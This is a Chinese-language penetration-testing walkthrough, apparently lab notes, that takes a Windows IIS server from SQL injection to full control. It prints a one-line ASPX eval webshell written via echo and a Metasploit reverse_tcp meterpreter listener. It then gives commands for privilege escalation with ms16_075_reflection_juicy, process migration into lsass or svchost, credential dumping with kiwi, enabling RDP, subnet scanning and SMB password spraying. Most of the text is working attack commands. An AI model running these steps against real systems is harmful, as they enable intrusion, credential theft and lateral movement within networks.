1.获取sql注入,通过sql注入,--is-dba发现为sa权限
2.获取os-shell,使用echo向网站写入webshell(需要知道网站绝对路径)
* 可先在本地测试命令是否可以正常执行,然后在将命令使用在实际环境中
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > C:\vip888\web\Admin\123.aspx
成功写入webshell
3.使用蚁剑连接(pass)
4.上传msf远控木马
5.msf开启监听 (0.0.0.0表示监听所有能监听到的host)
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport <ip>
set lhost <host>
6.在虚拟终端中运行上传的文件,msf端接收到传来的描meterpreter会话
7.查看权限为iis权限,使用msf提权
将会话切换到后台运行 查看给出的session,并给出当前会话id
background
选择local_exploit_suggester本地提权辅助模块,将上一步的会话id放入并运行,查看可使用的提权模块
use post/multi/recon/local_exploit_suggester
set session 4
run
选择可能存在漏洞的模块进行提权(可能会存在一定的误报),option查看需要填写的参数,填入刚刚的sessionid,在payload中选择反弹的ip,执行run,服务器收到新的meterperter会话
use exploit/windows/local/ms16_075_reflection_juicy
options
set session <sessionid>
set lhost <host>
set lport <port>
run
漏洞利用成功,getuid查看权限为system权限
getuid
8.进程迁移
getpid查看当前进程,ps查看全部进程,使用migrate <进程号>迁移进程,最后getpid查看进程是否迁移成功(这里的进程迁移选择最好选择一个system权限开启的系统进程,选项尽量为svchost.exe进程和lsass.exe)
getpid
ps
migrate <pid>
getpid
进程迁移完成,getpid查看进程为448
9.读取Windows密码
加载kiwi读取windows密码(旧版msf是load mimikatz)
load kiwi
creds_all
*这里我发现mimikatz已经换成了kiwi,并且meterpreter下命令也已经更换,这里我找了新的命令供大家参考https://www.cnblogs.com/KHZ521/p/14476955.html
10.开启远程桌面
(这里的情况只适合在内网中使用,因为在公网一般来说都会有规则的准入,即使开启了3389端口,也无法直接进行远程连接,不过可通过代理或流量转发的方式将流量代理到本地进行远程连接)
run post/windows/manage/enable_rdp
11.在本地使用Windows就可以连接了
Windows键+r打开运行,输入mstsc打开远程连接
输入ip以及刚刚获得的账号和密码,远程连接即可
连接成功
内网探测
ping探测内网可连通并存活主机(这里我192.168.233.137主机开启了防火墙,ping探测失败了)
for /l %i in (1,1,255) do @ ping 192.168.233.%i -w 1 -n 1 | find /i "ttl="
get_local_subnets查看当前网段
run get_local_subnets
autoroute将路由添加到本地
run autoroute -s 192.168.233.0/24
(run post/multi/manage/autoroute)可自动添加路由到本地,上面两步已被此方法代替
批量探测开放的3389端口,发现192.168.233.137开放了3389端口
use scanner/rdp/rdp_scanner
set rhosts 192.168.233.0/24
run
使用获得的口令撞库(rhosts可以是多个IP地址)
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.233.1/24
set SMBUser administrator
set SMBPass Admin123..
run